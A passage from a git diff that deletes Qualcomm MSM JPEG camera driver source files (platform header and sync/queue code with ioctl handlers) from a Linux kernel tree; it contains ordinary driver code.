msm_jpeg_device *pgmn_dev = - (struct msm_jpeg_device *) context; - - free_irq(irq, context); - - msm_jpeg_detach_iommu(pgmn_dev); - - if (pgmn_dev->jpeg_bus_client) { - msm_bus_scale_client_update_request( - pgmn_dev->jpeg_bus_client, 0); - msm_bus_scale_unregister_client(pgmn_dev->jpeg_bus_client); - } - - msm_cam_clk_enable(&pgmn_dev->pdev->dev, jpeg_8x_clk_info, - pgmn_dev->jpeg_clk, pgmn_dev->num_clk, 0); - JPEG_DBG("%s:%d] clock disbale done", __func__, __LINE__); - - if (pgmn_dev->jpeg_fs) { - result = regulator_disable(pgmn_dev->jpeg_fs); - if (!result) - regulator_put(pgmn_dev->jpeg_fs); - else - JPEG_PR_ERR("%s:%d] regulator disable failed %d", - __func__, __LINE__, result); - pgmn_dev->jpeg_fs = NULL; - } - iounmap(pgmn_dev->jpeg_vbif); - iounmap(base); - release_mem_region(mem->start, resource_size(mem)); - ion_client_destroy(pgmn_dev->jpeg_client); - pgmn_dev->state = MSM_JPEG_IDLE; - JPEG_DBG("%s:%d] success\n", __func__, __LINE__); - return result; -} - diff --git a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_platform.h b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_platform.h deleted file mode 100644 index b59c41f8780c9..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_platform.h +++ /dev/null @@ -1,43 +0,0 @@ -/* Copyright (c) 2012-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - -#ifndef MSM_JPEG_PLATFORM_H -#define MSM_JPEG_PLATFORM_H - -#include -#include -#include -#include -#include "msm_jpeg_sync.h" -#define JPEG_CLK_RATE 266670000 - -int msm_jpeg_platform_set_clk_rate(struct msm_jpeg_device *pgmn_dev, - long clk_rate); -void msm_jpeg_platform_p2v(struct msm_jpeg_device *pgmn_dev, struct file *file, - struct ion_handle **ionhandle, int domain_num); -uint32_t msm_jpeg_platform_v2p(struct msm_jpeg_device *pgmn_dev, int fd, - uint32_t len, struct file **file, struct ion_handle **ionhandle, - int domain_num); - -int msm_jpeg_platform_clk_enable(void); -int msm_jpeg_platform_clk_disable(void); - -int msm_jpeg_platform_init(struct platform_device *pdev, - struct resource **mem, - void **base, - int *irq, - irqreturn_t (*handler) (int, void *), - void *context); -int msm_jpeg_platform_release(struct resource *mem, void *base, int irq, - void *context); - -#endif /* MSM_JPEG_PLATFORM_H */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_sync.c b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_sync.c deleted file mode 100644 index 3939cde84432a..0000000000000 --- a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_sync.c +++ /dev/null @@ -1,1292 +0,0 @@ -/* Copyright (c) 2012-2014, The Linux Foundation. All rights reserved. - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License version 2 and - * only version 2 as published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - */ - - -#include -#include -#include -#include -#include -#include -#include -#include -#include "msm_jpeg_sync.h" -#include "msm_jpeg_core.h" -#include "msm_jpeg_platform.h" -#include "msm_jpeg_common.h" - -#define JPEG_REG_SIZE 0x308 -#define JPEG_DEV_CNT 3 -#define JPEG_DEC_ID 2 -#define UINT32_MAX (0xFFFFFFFFU) - -#ifdef CONFIG_COMPAT -#define MSM_JPEG_IOCTL_RESET32 \ - _IOW(MSM_JPEG_IOCTL_MAGIC, 2, struct msm_jpeg_ctrl_cmd32) - -#define MSM_JPEG_IOCTL_INPUT_BUF_ENQUEUE32 \ - _IOW(MSM_JPEG_IOCTL_MAGIC, 5, struct msm_jpeg_buf32) - -#define MSM_JPEG_IOCTL_INPUT_GET32 \ - _IOW(MSM_JPEG_IOCTL_MAGIC, 6, struct msm_jpeg_buf32) - -#define MSM_JPEG_IOCTL_OUTPUT_BUF_ENQUEUE32 \ - _IOW(MSM_JPEG_IOCTL_MAGIC, 8, struct msm_jpeg_buf32) - -#define MSM_JPEG_IOCTL_OUTPUT_GET32 \ - _IOW(MSM_JPEG_IOCTL_MAGIC, 9, struct msm_jpeg_buf32) - -#define MSM_JPEG_IOCTL_EVT_GET32 \ - _IOW(MSM_JPEG_IOCTL_MAGIC, 11, struct msm_jpeg_ctrl_cmd32) - -#define MSM_JPEG_IOCTL_TEST_DUMP_REGION32 \ - _IOW(MSM_JPEG_IOCTL_MAGIC, 15, compat_ulong_t) - -struct msm_jpeg_ctrl_cmd32 { - uint32_t type; - uint32_t len; - compat_uptr_t value; -}; -struct msm_jpeg_buf32 { - uint32_t type; - int fd; - - compat_uptr_t vaddr; - - uint32_t y_off; - uint32_t y_len; - uint32_t framedone_len; - - uint32_t cbcr_off; - uint32_t cbcr_len; - - uint32_t num_of_mcu_rows; - uint32_t offset; - uint32_t pln2_off; - uint32_t pln2_len; -}; - -#endif - - -inline void msm_jpeg_q_init(char const *name, struct msm_jpeg_q *q_p) -{ - JPEG_DBG("%s:%d] %s\n", __func__, __LINE__, name); - q_p->name = name; - spin_lock_init(&q_p->lck); - INIT_LIST_HEAD(&q_p->q); - init_waitqueue_head(&q_p->wait); - q_p->unblck = 0; -} - -inline void *msm_jpeg_q_out(struct msm_jpeg_q *q_p) -{ - unsigned long flags; - struct msm_jpeg_q_entry *q_entry_p = NULL; - void *data = NULL; - - JPEG_DBG("%s:%d] %s\n", __func__, __LINE__, q_p->name); - spin_lock_irqsave(&q_p->lck, flags); - if (!list_empty(&q_p->q)) { - q_entry_p = list_first_entry(&q_p->q, struct msm_jpeg_q_entry, - list); - list_del_init(&q_entry_p->list); - } - spin_unlock_irqrestore(&q_p->lck, flags); - - if (q_entry_p) { - data = q_entry_p->data; - kfree(q_entry_p); - } else { - JPEG_DBG("%s:%d] %s no entry\n", __func__, __LINE__, - q_p->name); - } - - return data; -} - -inline int msm_jpeg_q_in(struct msm_jpeg_q *q_p, void *data) -{ - unsigned long flags; - - struct msm_jpeg_q_entry *q_entry_p; - - JPEG_DBG("%s:%d] %s\n", __func__, __LINE__, q_p->name); - - q_entry_p = kmalloc(sizeof(struct msm_jpeg_q_entry), GFP_ATOMIC); - if (!q_entry_p) { - JPEG_PR_ERR("%s: no mem\n", __func__); - return -EFAULT; - } - q_entry_p->data = data; - - spin_lock_irqsave(&q_p->lck, flags); - list_add_tail(&q_entry_p->list, &q_p->q); - spin_unlock_irqrestore(&q_p->lck, flags); - - return 0; -} - -inline int msm_jpeg_q_in_buf(struct msm_jpeg_q *q_p, - struct msm_jpeg_core_buf *buf) -{ - struct msm_jpeg_core_buf *buf_p; - - JPEG_DBG("%s:%d]\n", __func__, __LINE__); - buf_p = kmalloc(sizeof(struct msm_jpeg_core_buf), GFP_ATOMIC); - if (!buf_p) { - JPEG_PR_ERR("%s: no mem\n", __func__); - return -EFAULT; - } - - memcpy(buf_p, buf, sizeof(struct msm_jpeg_core_buf)); - - msm_jpeg_q_in(q_p, buf_p); - return 0; -} - -inline int msm_jpeg_q_wait(struct msm_jpeg_q *q_p) -{ - long tm = MAX_SCHEDULE_TIMEOUT; /* 500ms */ - int rc; - - JPEG_DBG("%s:%d] %s wait\n", __func__, __LINE__, q_p->name); - rc = wait_event_interruptible_timeout(q_p->wait, - (!list_empty_careful(&q_p->q) || q_p->unblck), - msecs_to_jiffies(tm)); - JPEG_DBG("%s:%d] %s wait done\n", __func__, __LINE__, q_p->name); - if (list_empty_careful(&q_p->q)) { - if (rc == 0) { - rc = -ETIMEDOUT; - JPEG_PR_ERR("%s:%d] %s timeout\n", __func__, __LINE__, - q_p->name); - } else if (q_p->unblck) { - JPEG_DBG("%s:%d] %s unblock is true\n", __func__, - __LINE__, q_p->name); - q_p->unblck = 0; - rc = -ECANCELED; - } else if (rc < 0) { - JPEG_PR_ERR("%s:%d] %s rc %d\n", __func__, __LINE__, - q_p->name, rc); - } - } - return rc; -} - -inline int msm_jpeg_q_wakeup(struct msm_jpeg_q *q_p) -{ - JPEG_DBG("%s:%d] %s\n", __func__, __LINE__, q_p->name); - wake_up(&q_p->wait); - return 0; -} - -inline int msm_jpeg_q_unblock(struct msm_jpeg_q *q_p) -{ - JPEG_DBG("%s:%d] %s\n", __func__, __LINE__, q_p->name); - q_p->unblck = 1; - wake_up(&q_p->wait); - return 0; -} - -inline void msm_jpeg_outbuf_q_cleanup(struct msm_jpeg_device *pgmn_dev, - struct msm_jpeg_q *q_p, int domain_num) -{ - struct msm_jpeg_core_buf *buf_p; - JPEG_DBG("%s:%d] %s\n", __func__, __LINE__, q_p->name); - do { - buf_p = msm_jpeg_q_out(q_p); - if (buf_p) { - msm_jpeg_platform_p2v(pgmn_dev, buf_p->file, - &buf_p->handle, domain_num); - JPEG_DBG("%s:%d] %s\n", __func__, __LINE__, q_p->name); - kfree(buf_p); - } - } while (buf_p); - q_p->unblck = 0; -} - -inline void msm_jpeg_q_cleanup(struct msm_jpeg_q *q_p) -{ - void *data; - JPEG_DBG("%s:%d] %s\n", __func__, __LINE__, q_p->name); - do { - data = msm_jpeg_q_out(q_p); - if (data) { - JPEG_DBG("%s:%d] %s\n", __func__, __LINE__, q_p->name); - kfree(data); - } - } while (data); - q_p->unblck = 0; -} - -/*************** event queue ****************/ - -int msm_jpeg_framedone_irq(struct msm_jpeg_device *pgmn_dev, - struct msm_jpeg_core_buf *buf_in) -{ - int rc = 0; - - JPEG_DBG("%s:%d] Enter\n", __func__, __LINE__); - - if (buf_in) { - buf_in->vbuf.framedone_len = buf_in->framedone_len; - buf_in->vbuf.type = MSM_JPEG_EVT_SESSION_DONE; - JPEG_DBG("%s:%d] 0x%08x %d framedone_len %d\n", - __func__, __LINE__, - (int) buf_in->y_buffer_addr, buf_in->y_len, - buf_in->vbuf.framedone_len); - rc = msm_jpeg_q_in_buf(&pgmn_dev->evt_q, buf_in); - } else { - JPEG_PR_ERR("%s:%d] no output return buffer\n", - __func__, __LINE__); - rc = -1; - } - - if (buf_in) - rc = msm_jpeg_q_wakeup(&pgmn_dev->evt_q); - - return rc; -} - -int msm_jpeg_evt_get(struct msm_jpeg_device *pgmn_dev, - void __user *to) -{ - struct msm_jpeg_core_buf *buf_p; - struct msm_jpeg_ctrl_cmd ctrl_cmd; - - JPEG_DBG("%s:%d] Enter\n", __func__, __LINE__); - - msm_jpeg_q_wait(&pgmn_dev->evt_q); - buf_p = msm_jpeg_q_out(&pgmn_dev->evt_q); - - if (!buf_p) { - JPEG_DBG("%s:%d] no buffer\n", __func__, __LINE__); - return -EAGAIN; - } - - memset(&ctrl_cmd, 0, sizeof(ctrl_cmd)); - ctrl_cmd.type = buf_p->vbuf.type; - kfree(buf_p); - - JPEG_DBG("%s:%d] 0x%08x %d\n", __func__, __LINE__, - (int) ctrl_cmd.value, ctrl_cmd.len); - - if (copy_to_user(to, &ctrl_cmd, sizeof(ctrl_cmd))) { - JPEG_PR_ERR("%s:%d]\n", __func__, __LINE__); - return -EFAULT; - } - - return 0; -} - -int msm_jpeg_evt_get_unblock(struct msm_jpeg_device *pgmn_dev) -{ - JPEG_DBG("%s:%d] Enter\n", __func__, __LINE__); - msm_jpeg_q_unblock(&pgmn_dev->evt_q); - return 0; -} - -void msm_jpeg_reset_ack_irq(struct msm_jpeg_device *pgmn_dev) -{ - JPEG_DBG("%s:%d]\n", __func__, __LINE__); -} - -void msm_jpeg_err_irq(struct msm_jpeg_device *pgmn_dev, - int event) -{ - int rc = 0; - struct msm_jpeg_core_buf buf; - - JPEG_PR_ERR("%s:%d] error: %d\n", __func__, __LINE__, event); - - buf.vbuf.type = MSM_JPEG_EVT_ERR; - rc = msm_jpeg_q_in_buf(&pgmn_dev->evt_q, &buf); - if (!rc) - rc = msm_jpeg_q_wakeup(&pgmn_dev->evt_q); - - if (!rc) - JPEG_PR_ERR("%s:%d] err err\n", __func__, __LINE__); - - return; -} - -/*************** output queue ****************/ - -int msm_jpeg_we_pingpong_irq(struct msm_jpeg_device *pgmn_dev, - struct msm_jpeg_core_buf *buf_in) -{ - int rc = 0; - struct msm_jpeg_core_buf *buf_out; - - JPEG_DBG("%s:%d] Enter\n", __func__, __LINE__); - if (buf_in) { - JPEG_DBG("%s:%d] 0x%08x %d\n", __func__, __LINE__, - (int) buf_in->y_buffer_addr, buf_in->y_len); - rc = msm_jpeg_q_in_buf(&pgmn_dev->output_rtn_q, buf_in); - } else { - JPEG_DBG("%s:%d] no output return buffer\n", __func__, - __LINE__); - rc = -1; - return rc; - } - - buf_out = msm_jpeg_q_out(&pgmn_dev->output_buf_q); - - if (buf_out) { - JPEG_DBG("%s:%d] 0x%08x %d\n", __func__, __LINE__, - (int) buf_out->y_buffer_addr, buf_out->y_len); - rc = msm_jpeg_core_we_buf_update(pgmn_dev, buf_out); - kfree(buf_out); - } else { - msm_jpeg_core_we_buf_reset(pgmn_dev, buf_in); - JPEG_DBG("%s:%d] no output buffer\n", __func__, __LINE__); - rc = -2; - } - - if (buf_in) - rc = msm_jpeg_q_wakeup(&pgmn_dev->output_rtn_q); - - return rc; -} - -int msm_jpeg_output_get(struct msm_jpeg_device *pgmn_dev, void __user *to) -{ - struct msm_jpeg_core_buf *buf_p; - struct msm_jpeg_buf buf_cmd; - - JPEG_DBG("%s:%d] Enter\n", __func__, __LINE__); - - msm_jpeg_q_wait(&pgmn_dev->output_rtn_q); - buf_p = msm_jpeg_q_out(&pgmn_dev->output_rtn_q); - - if (!buf_p) { - JPEG_DBG("%s:%d] no output buffer return\n", - __func__, __LINE__); - return -EAGAIN; - } - - buf_cmd = buf_p->vbuf; - msm_jpeg_platform_p2v(pgmn_dev, buf_p->file, &buf_p->handle, - pgmn_dev->domain_num); - kfree(buf_p); - - JPEG_DBG("%s:%d] 0x%08x %d\n", __func__, __LINE__, - (int) buf_cmd.vaddr, buf_cmd.y_len); - - if (copy_to_user(to, &buf_cmd, sizeof(buf_cmd))) { - JPEG_PR_ERR("%s:%d]", __func__, __LINE__); - return -EFAULT; - } - - return 0; -} - -int msm_jpeg_output_get_unblock(struct msm_jpeg_device *pgmn_dev) -{ - JPEG_DBG("%s:%d] Enter\n", __func__, __LINE__); - msm_jpeg_q_unblock(&pgmn_dev->output_rtn_q); - return 0; -} - -int msm_jpeg_output_buf_enqueue(struct msm_jpeg_device *pgmn_dev, - void __user *arg) -{ - struct msm_jpeg_buf buf_cmd; - struct msm_jpeg_core_buf *buf_p; - memset(&buf_cmd, 0x0, sizeof(struct msm_jpeg_buf)); - - JPEG_DBG("%s:%d] Enter\n", __func__, __LINE__); - if (copy_from_user(&buf_cmd, arg, sizeof(struct msm_jpeg_buf))) { - JPEG_PR_ERR("%s:%d] failed\n", __func__, __LINE__); - return -EFAULT; - } - - buf_p = kmalloc(sizeof(struct msm_jpeg_core_buf), GFP_ATOMIC); - if (!buf_p) { - JPEG_PR_ERR("%s:%d] no mem\n", __func__, __LINE__); - return -EFAULT; - } - - JPEG_DBG("%s:%d] vaddr = 0x%08x y_len = %d\n, fd = %d", - __func__, __LINE__, (int) buf_cmd.vaddr, buf_cmd.y_len, - buf_cmd.fd); - - buf_p->y_buffer_addr = msm_jpeg_platform_v2p(pgmn_dev, buf_cmd.fd, - buf_cmd.y_len + buf_cmd.cbcr_len + buf_cmd.pln2_len, - &buf_p->file, &buf_p->handle, pgmn_dev->domain_num); - if (!buf_p->y_buffer_addr) { - JPEG_PR_ERR("%s:%d] v2p wrong\n", __func__, __LINE__); - kfree(buf_p); - return -EFAULT; - } - - if (buf_cmd.cbcr_len) - buf_p->cbcr_buffer_addr = buf_p->y_buffer_addr + - buf_cmd.y_len; - else - buf_p->cbcr_buffer_addr = 0x0; - - if (buf_cmd.pln2_len) - buf_p->pln2_addr = buf_p->cbcr_buffer_addr + - buf_cmd.cbcr_len; - else - buf_p->pln2_addr = 0x0; - - JPEG_DBG("%s:%d]After v2p pln0_addr %x pln0_len %d", - __func__, __LINE__, buf_p->y_buffer_addr, - buf_cmd.y_len); - - JPEG_DBG("pl1_len %d, pln1_addr %x, pln2_adrr %x,pln2_len %d", - buf_cmd.cbcr_len, buf_p->cbcr_buffer_addr, - buf_p->pln2_addr, buf_cmd.pln2_len); - - buf_p->y_len = buf_cmd.y_len; - buf_p->cbcr_len = buf_cmd.cbcr_len; - buf_p->pln2_len = buf_cmd.pln2_len; - buf_p->vbuf = buf_cmd; - - msm_jpeg_q_in(&pgmn_dev->output_buf_q, buf_p); - return 0; -} - -/*************** input queue ****************/ - -int msm_jpeg_fe_pingpong_irq(struct msm_jpeg_device *pgmn_dev, - struct msm_jpeg_core_buf *buf_in) -{ - struct msm_jpeg_core_buf *buf_out; - int rc = 0; - - JPEG_DBG("%s:%d] Enter\n", __func__, __LINE__); - if (buf_in) { - JPEG_DBG("%s:%d] 0x%08x %d\n", __func__, __LINE__, - (int) buf_in->y_buffer_addr, buf_in->y_len); - rc = msm_jpeg_q_in_buf(&pgmn_dev->input_rtn_q, buf_in); - } else { - JPEG_DBG("%s:%d] no input return buffer\n", __func__, - __LINE__); - rc = -EFAULT; - } - - buf_out = msm_jpeg_q_out(&pgmn_dev->input_buf_q); - - if (buf_out) { - rc = msm_jpeg_core_fe_buf_update(pgmn_dev, buf_out); - kfree(buf_out); - msm_jpeg_core_fe_start(pgmn_dev); - } else { - JPEG_DBG("%s:%d] no input buffer\n", __func__, __LINE__); - rc = -EFAULT; - } - - if (buf_in) - rc = msm_jpeg_q_wakeup(&pgmn_dev->input_rtn_q); - - return rc; -} - -int msm_jpeg_input_get(struct msm_jpeg_device *pgmn_dev, void __user *to) -{ - struct msm_jpeg_core_buf *buf_p; - struct msm_jpeg_buf buf_cmd; - - JPEG_DBG("%s:%d] Enter\n", __func__, __LINE__); - msm_jpeg_q_wait(&pgmn_dev->input_rtn_q); - buf_p = msm_jpeg_q_out(&pgmn_dev->input_rtn_q); - - if (!buf_p) { - JPEG_DBG("%s:%d] no input buffer return\n", - __func__, __LINE__); - return -EAGAIN; - } - - buf_cmd = buf_p->vbuf; - msm_jpeg_platform_p2v(pgmn_dev, buf_p->file, &buf_p->handle, - pgmn_dev->domain_num); - kfree(buf_p); - - JPEG_DBG("%s:%d] 0x%08x %d\n", __func__, __LINE__, - (int) buf_cmd.vaddr, buf_cmd.y_len); - - if (copy_to_user(to, &buf_cmd, sizeof(buf_cmd))) { - JPEG_PR_ERR("%s:%d]\n", __func__, __LINE__); - return -EFAULT; - } - - return 0; -} - -int msm_jpeg_input_get_unblock(struct msm_jpeg_device *pgmn_dev) -{ - JPEG_DBG("%s:%d] Enter\n", __func__, __LINE__); - msm_jpeg_q_unblock(&pgmn_dev->input_rtn_q); - return 0; -} - -int msm_jpeg_input_buf_enqueue(struct msm_jpeg_device *pgmn_dev, - void __user *arg) -{ - struct msm_jpeg_core_buf *buf_p; - struct msm_jpeg_buf buf_cmd; - memset(&buf_cmd, 0x0, sizeof(struct msm_jpeg_buf)); - - if (copy_from_user(&buf_cmd, arg, sizeof(struct msm_jpeg_buf))) { - JPEG_PR_ERR("%s:%d] failed\n", __func__, __LINE__); - return -EFAULT; - } - - buf_p = kmalloc(sizeof(struct msm_jpeg_core_buf), GFP_ATOMIC); - if (!buf_p) { - JPEG_PR_ERR("%s:%d] no mem\n", __func__, __LINE__); - return -EFAULT; - } - - JPEG_DBG("%s:%d] 0x%08x %d\n", __func__, __LINE__, - (int) buf_cmd.vaddr, buf_cmd.y_len); - - buf_p->y_buffer_addr = msm_jpeg_platform_v2p(pgmn_dev, buf_cmd.fd, - buf_cmd.y_len + buf_cmd.cbcr_len + - buf_cmd.pln2_len + buf_cmd.offset, - &buf_p->file, &buf_p->handle, pgmn_dev->domain_num) + - buf_cmd.offset + buf_cmd.y_off; - buf_p->y_len = buf_cmd.y_len; - buf_p->cbcr_len = buf_cmd.cbcr_len; - buf_p->pln2_len = buf_cmd.pln2_len; - buf_p->num_of_mcu_rows = buf_cmd.num_of_mcu_rows; - - if (buf_cmd.cbcr_len) - buf_p->cbcr_buffer_addr = buf_p->y_buffer_addr + - buf_cmd.y_len + buf_cmd.cbcr_off; - else - buf_p->cbcr_buffer_addr = 0x0; - - if (buf_cmd.pln2_len) - buf_p->pln2_addr = buf_p->cbcr_buffer_addr + - buf_cmd.cbcr_len + buf_cmd.pln2_off; - else - buf_p->pln2_addr = 0x0; - - JPEG_DBG("%s: y_addr=%x, y_len=%x, cbcr_addr=%x, cbcr_len=%d", - __func__, buf_p->y_buffer_addr, buf_p->y_len, - buf_p->cbcr_buffer_addr, buf_p->cbcr_len); - JPEG_DBG("pln2_addr = %x, pln2_len = %d, fd =%d\n", - buf_p->pln2_addr, buf_p->pln2_len, buf_cmd.fd); - - if (!buf_p->y_buffer_addr) { - JPEG_PR_ERR("%s:%d] v2p wrong\n", __func__, __LINE__); - kfree(buf_p); - return -EFAULT; - } - buf_p->vbuf = buf_cmd; - - msm_jpeg_q_in(&pgmn_dev->input_buf_q, buf_p); - - return 0; -} - -int msm_jpeg_irq(int event, void *context, void *data) -{ - struct msm_jpeg_device *pgmn_dev = - (struct msm_jpeg_device *) context; - - switch (event) { - case MSM_JPEG_EVT_SESSION_DONE: - msm_jpeg_framedone_irq(pgmn_dev, data); - msm_jpeg_we_pingpong_irq(pgmn_dev, data); - break; - - case MSM_JPEG_HW_MASK_COMP_FE: - msm_jpeg_fe_pingpong_irq(pgmn_dev, data); - break; - - case MSM_JPEG_HW_MASK_COMP_WE: - msm_jpeg_we_pingpong_irq(pgmn_dev, data); - break; - - case MSM_JPEG_HW_MASK_COMP_RESET_ACK: - msm_jpeg_reset_ack_irq(pgmn_dev); - break; - - case MSM_JPEG_HW_MASK_COMP_ERR: - default: - msm_jpeg_err_irq(pgmn_dev, event); - break; - } - - return 0; -} - -int __msm_jpeg_open(struct msm_jpeg_device *pgmn_dev) -{ - int rc; - - mutex_lock(&pgmn_dev->lock); - if (pgmn_dev->open_count) { - /* only open once */ - JPEG_PR_ERR("%s:%d] busy\n", __func__, __LINE__); - mutex_unlock(&pgmn_dev->lock); - return -EBUSY; - } - pgmn_dev->open_count++; - mutex_unlock(&pgmn_dev->lock); - - msm_jpeg_core_irq_install(msm_jpeg_irq); - rc = msm_jpeg_platform_init(pgmn_dev->pdev, - &pgmn_dev->mem, &pgmn_dev->base, - &pgmn_dev->irq, msm_jpeg_core_irq, pgmn_dev); - if (rc) { - JPEG_PR_ERR("%s:%d] platform_init fail %d\n", __func__, - __LINE__, rc); - return rc; - } - - JPEG_DBG("%s:%d] platform resources - mem %p, base %p, irq %d\n", - __func__, __LINE__, - pgmn_dev->mem, pgmn_dev->base, pgmn_dev->irq); - pgmn_dev->res_size = resource_size(pgmn_dev->mem); - - msm_jpeg_q_cleanup(&pgmn_dev->evt_q); - msm_jpeg_q_cleanup(&pgmn_dev->output_rtn_q); - msm_jpeg_outbuf_q_cleanup(pgmn_dev, &pgmn_dev->output_buf_q, - pgmn_dev->domain_num); - msm_jpeg_q_cleanup(&pgmn_dev->input_rtn_q); - msm_jpeg_q_cleanup(&pgmn_dev->input_buf_q); - msm_jpeg_core_init(pgmn_dev); - - JPEG_DBG("%s:%d] success\n", __func__, __LINE__); - return rc; -} - -int __msm_jpeg_release(struct msm_jpeg_device *pgmn_dev) -{ - JPEG_DBG("%s:%d] Enter\n", __func__, __LINE__); - mutex_lock(&pgmn_dev->lock); - if (!pgmn_dev->open_count) { - JPEG_PR_ERR(KERN_ERR "%s: not opened\n", __func__); - mutex_unlock(&pgmn_dev->lock); - return -EINVAL; - } - pgmn_dev->open_count--; - mutex_unlock(&pgmn_dev->lock); - - msm_jpeg_core_release(pgmn_dev, pgmn_dev->domain_num); - msm_jpeg_q_cleanup(&pgmn_dev->evt_q); - msm_jpeg_q_cleanup(&pgmn_dev->output_rtn_q); - msm_jpeg_outbuf_q_cleanup(pgmn_dev, &pgmn_dev->output_buf_q, - pgmn_dev->domain_num); - msm_jpeg_q_cleanup(&pgmn_dev->input_rtn_q); - msm_jpeg_outbuf_q_cleanup(pgmn_dev, &pgmn_dev->input_buf_q, - pgmn_dev->domain_num); - - JPEG_DBG("%s:%d]\n", __func__, __LINE__); - if (pgmn_dev->open_count) - JPEG_PR_ERR(KERN_ERR "%s: multiple opens\n", __func__); - - msm_jpeg_platform_release(pgmn_dev->mem, pgmn_dev->base, - pgmn_dev->irq, pgmn_dev); - - JPEG_DBG("%s:%d]\n", __func__, __LINE__); - return 0; -} - -int msm_jpeg_ioctl_hw_cmd(struct msm_jpeg_device *pgmn_dev, - void * __user arg) -{ - struct msm_jpeg_hw_cmd hw_cmd; - int is_copy_to_user; - - if (copy_from_user(&hw_cmd, arg, sizeof(struct msm_jpeg_hw_cmd))) { - JPEG_PR_ERR("%s:%d] failed\n", __func__, __LINE__); - return -EFAULT; - } - - is_copy_to_user = msm_jpeg_hw_exec_cmds(&hw_cmd, 1, - pgmn_dev->res_size, pgmn_dev->base); - JPEG_DBG("%s:%d] type %d, n %d, offset %d, mask %x, data %x,pdata %x\n", - __func__, __LINE__, hw_cmd.type, hw_cmd.n, hw_cmd.offset, - hw_cmd.mask, hw_cmd.data, (int) hw_cmd.pdata); - - if (is_copy_to_user >= 0) { - if (copy_to_user(arg, &hw_cmd, sizeof(hw_cmd))) { - JPEG_PR_ERR("%s:%d] failed\n", __func__, __LINE__); - return -EFAULT; - } - } else { - return is_copy_to_user; - } - - return 0; -} - -int msm_jpeg_ioctl_hw_cmds(struct msm_jpeg_device *pgmn_dev, - void * __user arg) -{ - int is_copy_to_user; - uint32_t len; - uint32_t m; - struct msm_jpeg_hw_cmds *hw_cmds_p; - struct msm_jpeg_hw_cmd *hw_cmd_p; - - if (copy_from_user(&m, arg, sizeof(m))) { - JPEG_PR_ERR("%s:%d] failed\n", __func__, __LINE__); - return -EFAULT; - } - - if ((m == 0) || (m > ((UINT32_MAX - sizeof(struct msm_jpeg_hw_cmds)) / - sizeof(struct msm_jpeg_hw_cmd)))) { - JPEG_PR_ERR("%s:%d] m_cmds out of range\n", __func__, __LINE__); - return -EFAULT; - } - - len = sizeof(struct msm_jpeg_hw_cmds) + - sizeof(struct msm_jpeg_hw_cmd) * (m - 1); - hw_cmds_p = kmalloc(len, GFP_KERNEL); - if (!hw_cmds_p) { - JPEG_PR_ERR("%s:%d] no mem %d\n", __func__, __LINE__, len); - return -EFAULT; - } - - if (copy_from_user(hw_cmds_p, arg, len)) { - JPEG_PR_ERR("%s:%d] failed\n", __func__, __LINE__); - kfree(hw_cmds_p); - return -EFAULT; - } - - hw_cmd_p = (struct msm_jpeg_hw_cmd *) &(hw_cmds_p->hw_cmd); - - is_copy_to_user = msm_jpeg_hw_exec_cmds(hw_cmd_p, m, - pgmn_dev->res_size, pgmn_dev->base); - - if (is_copy_to_user >= 0) { - if (copy_to_user(arg, hw_cmds_p, len)) { - JPEG_PR_ERR("%s:%d] failed\n", __func__, __LINE__); - kfree(hw_cmds_p); - return -EFAULT; - } - } else { - kfree(hw_cmds_p); - return is_copy_to_user; - } - kfree(hw_cmds_p); - return 0; -} - -int msm_jpeg_start(struct msm_jpeg_device *pgmn_dev, void * __user arg) -{ - struct msm_jpeg_core_buf *buf_out; - struct msm_jpeg_core_buf *buf_out_free[2] = {NULL, NULL}; - int i, rc; - - JPEG_DBG("%s:%d] Enter\n", __func__, __LINE__); - - pgmn_dev->release_buf = 1; - for (i = 0; i < 2; i++) { - buf_out = msm_jpeg_q_out(&pgmn_dev->input_buf_q); - - if (buf_out) { - msm_jpeg_core_fe_buf_update(pgmn_dev, buf_out); - kfree(buf_out); - } else { - JPEG_DBG("%s:%d] no input buffer\n", __func__, - __LINE__); - break; - } - } - - for (i = 0; i < 2; i++) { - buf_out_free[i] = msm_jpeg_q_out(&pgmn_dev->output_buf_q); - - if (buf_out_free[i]) { - msm_jpeg_core_we_buf_update(pgmn_dev, buf_out_free[i]); - pgmn_dev->release_buf = 0; - } else { - JPEG_DBG("%s:%d] no output buffer\n", - __func__, __LINE__); - break; - } - } - - for (i = 0; i < 2; i++) - kfree(buf_out_free[i]); - - pgmn_dev->state = MSM_JPEG_EXECUTING; - JPEG_DBG_HIGH("%s:%d] START\n", __func__, __LINE__); - wmb(); - rc = msm_jpeg_ioctl_hw_cmds(pgmn_dev, arg); - wmb(); - - JPEG_DBG("%s:%d]", __func__, __LINE__); - return rc; -} - -int msm_jpeg_ioctl_reset(struct msm_jpeg_device *pgmn_dev, - void * __user arg) -{ - int rc; - struct msm_jpeg_ctrl_cmd ctrl_cmd; - - JPEG_DBG("%s:%d] Enter\n", __func__, __LINE__); - - if (pgmn_dev->state == MSM_JPEG_INIT) { - if (copy_from_user(&ctrl_cmd, arg, sizeof(ctrl_cmd))) { - JPEG_PR_ERR("%s:%d] failed\n", __func__, __LINE__); - return -EFAULT; - } - pgmn_dev->op_mode = ctrl_cmd.type; - - rc = msm_jpeg_core_reset(pgmn_dev, pgmn_dev->op_mode, pgmn_dev->base, - resource_size(pgmn_dev->mem)); - } else { - JPEG_PR_ERR("%s:%d] JPEG not been initialized Wrong state\n", - __func__, __LINE__); - rc = -1; - } - return rc; -} - -int msm_jpeg_ioctl_test_dump_region(struct msm_jpeg_device *pgmn_dev, - unsigned long 